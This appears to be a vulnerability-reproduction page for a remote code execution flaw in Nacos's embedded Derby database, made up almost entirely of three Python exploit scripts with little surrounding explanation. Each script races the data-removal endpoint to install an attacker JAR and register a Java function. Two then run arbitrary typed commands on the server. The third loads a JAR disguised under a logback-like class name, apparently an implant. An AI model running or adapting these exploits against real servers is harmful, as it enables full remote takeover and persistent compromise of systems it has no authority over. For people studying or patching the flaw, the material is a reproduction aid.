Nacos Derby 条件竞争RCE漏洞复现

import random, os
import requests
from urllib.parse import urljoin
import base64

def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CALL sqlj.install_jar('http://127.0.0.1:8000/untitled.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
        """.format(junk=os.urandom(3).hex(),id=now_id,jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            while True:
                command = input('>>>')
                get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
                get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                print(get_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

import random, os
import requests
from urllib.parse import urljoin
import base64
with open(r'C:\Users\Dream_snow\Downloads\nacos-2.3.2\untitled\out\artifacts\untitled_jar\untitled.jar', 'rb') as f:
    payload = f.read().hex().upper()
def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
        CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
        """.format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            while True:
                command = input('>>>')
                get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
                get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                print(get_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

import random, os
import requests
from urllib.parse import urljoin
import base64
import time
from datetime import datetime

with open(r'C:\Users\Dream_snow\Documents\JSONUtil.jar', 'rb') as f:
    payload = f.read().hex().upper()

def exploit(target):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
    for i in range(1, 10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CREATE TABLE FILE_STORAGE_{id} (id INTEGER PRIMARY KEY,file_data BLOB,file_name VARCHAR(255))

        INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (1, CAST(X'{payload}' AS BLOB), '{jar_name}.jar')

        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('SELECT file_data FROM FILE_STORAGE_{id} WHERE file_name = ''{jar_name}.jar'' ORDER BY id','/tmp/{junk}.del',null,null,'UTF-8','/tmp/{jar_name}.jar')

        CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

        CREATE FUNCTION S_EXAMPLE_{id}(PARAM CHAR(32) FOR BIT DATA) RETURNS CHAR(32) FOR BIT DATA PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'ch.qos.logback.e.JSONUtil.gzipDecompress'

        DROP TABLE FILE_STORAGE_{id}
        """.format(junk=os.urandom(3).hex(), payload=payload, id=now_id, jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        #post_json = post_resp.json()
        dump_response(post_resp, title=f"POST /data/removal try={i}", max_body=None)
        time.sleep(1)
        try:
            post_json = post_resp.json()
        except Exception as e:
            print("[-] JSON parse failed:", repr(e))
            time.sleep(0.5)
            continue

        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}(X'1F') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(
                id=now_id, cmd=1)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.json())
            return

def dump_response(resp, title="RESPONSE", max_body=None):
    """
    打印 HTTP 响应包：状态行 + 响应头 + 响应体
    max_body=None 表示完整打印；如果太长可以改成 2000
    """
    version_map = {
        10: "HTTP/1.0",
        11: "HTTP/1.1",
        20: "HTTP/2"
    }

    http_version = version_map.get(getattr(resp.raw, "version", 11), "HTTP/1.1")

    print("\n" + "=" * 80)
    print(f"[{title}] {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"{http_version} {resp.status_code} {resp.reason}")

    for k, v in resp.headers.items():
        print(f"{k}: {v}")

    print()
    body = resp.text

    if max_body is not None and len(body) > max_body:
        print(body[:max_body])
        print(f"\n... body truncated, total length={len(body)} ...")
    else:
        print(body)

    print("=" * 80 + "\n")

if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)